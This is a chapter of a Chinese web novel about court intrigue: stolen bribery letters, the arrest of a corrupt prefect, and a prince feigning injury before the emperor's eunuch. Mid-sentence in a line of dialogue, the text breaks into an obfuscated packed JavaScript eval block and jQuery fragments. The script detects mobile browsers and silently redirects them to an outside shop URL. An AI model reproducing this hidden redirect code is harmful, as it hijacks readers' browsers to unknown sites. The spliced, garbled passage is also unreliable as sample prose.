是夜。

    一个黑衣人怀里揣着几张纸,他环顾四周,确定没有人后,蹲在地上,掏出火折子。

    “嚓——”

    火折子刚烧起来,一把小刀突然从暗处飞出,刺进他的脖颈,血流了一地,黑衣人睁大了眼,想要发出最后的呐喊,却只能哼哧一声,直晃晃地倒在地上,这一切如同电光火石之间,迅速发生。

    木云从暗处出来,走到黑衣人身旁,他弯腰捡起纸张,上面写着密密麻麻的字,是余郡守与太子来往的信件。

    “哗啦——”

    一阵风刮过,身旁的树叶沙沙作响。

    木云将信件收起,刚准备离开,就响起来一阵脚步声,四周突然出现一群黑衣人,大概有五六个,手里拿着长刀,将他团团围住。

    他都不用猜,这群人肯定是太子的暗卫。

    木云一边做出格斗姿势,一边在观察周围。

    他不需要跟这群人斗个你死我活,只要离开这里就行,但很显然,这群人并不打算放他走。

    黑衣人步步紧逼,围成圈子越来越小,木云警惕地观察周围一圈人,然后将目光落在了一个最瘦弱的黑衣人身上。

    只需一个突破口,他就可以顺利逃离这里。

    战争一触即发,周围气压很低。

    “住手!”

    一道声音突兀的响起,远处出现了两道身影。

    太子裴行被一个穿着夜行衣,浑身上下遮得严严实实,只露出一双眼睛的人架着出来。

    木云一眼就看出来对方是木禾。

    木禾左手掐着裴行的脖子,右手拿着匕首,轻轻使劲,裴行的脖子就渗出一丝血液。

    包围着木云的黑衣人看到自家主子被抓,也不敢再动弹,紧紧握着手中的长刀。

    双方势力僵持不下,周围很安静,甚至都能听到彼此的呼吸声。

    “谋害储君,是砍头的大罪。”裴行出声威胁着,试图将挟持自己的人恐吓住。

    “你胡说什么呢?”木禾嘲笑着,没有被吓住,“太子殿下因染了风寒,一直在太子府养病,从未离京。”

    她手里的匕首转了个圈,左手也微微用力,裴行顿时感到一股窒息,一股死亡的恐惧萦绕在心头。

    “冒充储君,也是砍头的大罪。”木禾笑眯眯地看着裴行,挑衅地说着。

    听后,裴行心里一凉,他这才意识自己多么愚蠢,现如今对方有可能会真的杀了自己。

    在这荒山野岭里,就算死人了也不会有人查明死者身份,除了他的母后,所有人都以为他还待在京城,谁会把江北的一具无名尸体联想到太子殿下?

    就算皇帝发现他失踪,这跟裴郁也八竿子打不着一起。

    毕竟,按理来说,裴郁都没见过他的长相,更不会有人怀疑到三皇子的头上。

    他头脑飞速转动,思考着对策。

    “啊呜——”

    狼嚎突然从远处响起,黑夜之中,饿狼的两只眼睛像是宝石一样亮着,发出幽暗的绿光,吼声刚落,暗处又亮起一堆绿宝石。

    他们被狼群包围了。

    裴行的黑衣人看着逼近的狼群,手中的刀也不再对着木云,而是对准了饿狼。

    “保护殿下!”为首的黑衣人没有露出一丝害怕,他们是太子的死侍,为太子而死是无上的光荣。

    周围陷入一阵混乱。

    裴行察觉到背后的人左手稍微松开,还没反应过来,就感受到身后之人将自己推向狼群。

    “殿下!”其中一个黑衣人立马跑过去,扶着裴行。

    木禾连忙冲向木云,牵着他的手,“走!”

    二人迅速离开现场,看着他们二人消失的背影,裴行五官开始狰狞起来,如同疯魔似的。

    饿狼越来越多,裴行也只好暂时撤退。

    有了狼群的帮助,木云木禾兄妹安全撤离,一路畅通无阻,迅速回到了客栈。

    裴郁房间的灯光还亮着,木云将信件原封不动的交给他手中,他拿着信件,一一浏览,心越来越沉。

    上面清清楚楚的记着他们二人之间的龌龊交易——三千两白银送到太子府,第二年中举名单中,就出现了余郡守侄子的名字。

    证据确凿。

    裴郁闭上眼睛,看起来很累,腹部的伤口也隐隐作痛,“查。”

    ……

    余郡守正在府里与小妾嬉笑,府外突然想起嘈杂的声音,还带着小厮的吆喝声。

    他顿感不妙,慌张将裤子提上,刚从榻上下去,就有一大堆官兵闯进来,拿着刀架在他的脖子上。

    “郡守大人。”官兵中走出来一个青年?

    “你们想干什么!”余郡守大声吼着,额头冒出阵阵冷汗,仿佛这样别人就察觉不到他的心虚。

    “若大人是冤枉的,定会好好赔偿的。”

    音落,官兵架着余郡守从府里出来。

    动静很大,府邸周围百姓也都纷纷将门打开一条缝隙,想看看发生了什么。

    府邸门口,一群小妾齐刷刷的站着,嘴里哭着喊着,像是死了人似的,极其热闹。

    天刚亮,余郡守被抓的消息就传疯了。

    平日里,百姓打招呼都是,“你吃饭了吗?”

    这几日,却是“哎,你听说了吗?郡守大人被抓了?”

    “不止,我可听说了,江北的县令也被抓了。”

    “果真?你可别诓我。”

    “千真万确,我有一亲戚……”

    街道上叽叽喳喳,都在纷纷议论此事。

    景熙醒来,千重也将这件事告诉了她。

    “姐姐看起来并不好奇。”千重兴致勃勃的说着,得到的却是冷淡的回应,于是问道。

    “意料之中。”她穿好衣裳,洗漱完毕,去了裴郁的房间,千重则站在门口守着。

    裴郁披头散发,右手撩起自己脸前的碎发,他只穿了里衣,衣服大咧咧的敞着,也不怕着凉,他的身材很好,腹部上缠着绷带像是装饰品似的,点缀着他的腹肌。

    “飞莺已经应下,我也就没事了,这几日我就待在客栈里,你忙你的。”

    原本撩头发的裴郁动作一顿,“不要。”

    他起身,衣裳竟落在榻上,不知是故意的还是有意为之,他上半身光着,右手捂着伤口。

    “好疼……”他一边说着,一边朝景熙伸出左手。

    景熙看着他装模作样,无情地后退了一步,“自作自受。”

    裴郁看着眼前的人,眼里充满着难以置信,他摇了摇头否定了,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968752|214613||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我这伤,可是有用的。”

    像是为了验证他的话,一阵敲门声响起,紧接着就传来木云的声音。

    “殿下,张公公求见。”

    张公公是皇帝的人,从小一同长大,颇受皇帝信任,他的出现,十有八九就是受皇帝指示。

    景熙刚回过神来,就看到裴郁将衣裳穿好。

    景熙:……

    原来能好好穿衣裳。

    裴郁走到景熙面前,伸出胳膊,然后又装模作样的往地上倒,身旁的女子下意识的伸手扶住他。

    他嘴角不自觉的扬起,然后迅速下去,装出一幅痛苦的模样。

    张公公站在门口等候多时,看到三皇子出来,连忙迎接,玉牌还没掏出,就看到对方捂着腹部,拧着眉头,被身旁的女子搀扶出来。

    “殿下!”张公公惊呼,连忙扶着他的另一边,往屋里拽,“您这是怎么了?”

    “咳咳。”裴郁虚弱的看着张公公,“公公,我……”

    “诶呦。”张公公将裴郁扶在榻上,然后看着木云,大声斥责道,“大胆奴才,竟连殿下都照顾不好,要你们何用!”

    木云连忙跪下,演技却比裴郁好很多,“公公冤枉……”

    “是太子殿下不分青红皂白,刺伤了三皇子!”

    “你胡说!”张公公直接打断了他的话,“太子殿下性情温和,怎么可能做出残害手足之事!”

    他虽是嘴上说着,心里却起了一阵冷汗,他常年待在皇帝身旁,见不得光的事他也没少遇到,他心里清楚,皇子们嘴上说是和和睦睦,但暗处的争斗不断。

    残害手足,也并不是没有可能。

    “太子殿下,这几日一直待在府里养伤,怎么可能会突然来江北刺伤三皇子?咱家虽是阉人,但不是傻子。”

    张公公极力为太子说话,陛下最讨厌皇子相残,若是传到陛下耳中,太子有皇后和臣子撑腰,惩罚只会落到刚从冷宫里出来的三皇子头上,别刚从冷宫出来,还没待多久就又进去了。

    “公公。”景熙先是行礼,见对方不信,掏出一个精美香囊,“可认得此物?”

    张公公先是看了眼景熙,然后拿起香囊仔细端详,“哎呦”的叫了一声。

    这是太子香囊,上面还有皇后亲自绣的字样,做不得假。

    完了。

    他拿着香囊的手不自觉的翘起兰花指,看着物证,他也不好再说些什么,“老奴会将此事禀告给陛下,请殿下放心修养。”

    香囊仿佛是块烫手山芋似的,他不情不愿的收下,然后掏出一块玉牌,弯腰双手呈在裴郁面前。

    “殿下请收好。”

    玉牌晶莹剔透,上面刻着的龙纹,就像是玉牌的主人一样,带着一丝不可说的威压。

    见此玉,如同见陛下。

    玉牌一出,裴郁艰难的起身,面上不为所动,他弯腰行礼,姿势并不标准,然后双手接过玉牌。

    今日,玉牌就正式交给三皇子,皇帝也将自己的权利分给了三皇子,等三皇子回宫又要乱成一团了。

    想到这,张公公就开始头疼。

    “老奴告退。”他行礼,然后退出了房间,门口木禾往他怀里塞了一块银子,他犹豫片刻后,将银子塞进怀里,带着侍卫离开客栈。